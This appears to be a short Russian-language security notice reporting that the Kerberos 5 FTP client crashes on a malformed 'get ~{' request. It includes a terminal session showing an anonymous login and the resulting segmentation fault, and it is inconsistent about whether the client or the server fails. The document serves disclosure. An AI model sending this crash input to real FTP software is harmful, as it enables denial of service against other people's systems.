FTP клиент Kerberos 5 содержит ошибку, используя
которую можно вызвать его крэш. Все дело в
простом запросе 'get {', после него сервер
рушится.
Пример:
# ftp localhost
Connected to localhost.localdomain.
220 testbox.something.com FTP server (Version wu-2.6.1-16.7x.1) ready.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
KERBEROS_V4 rejected as an authentication type
Name (localhost:user1): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get ~{
remote: ~{
Segmentation fault
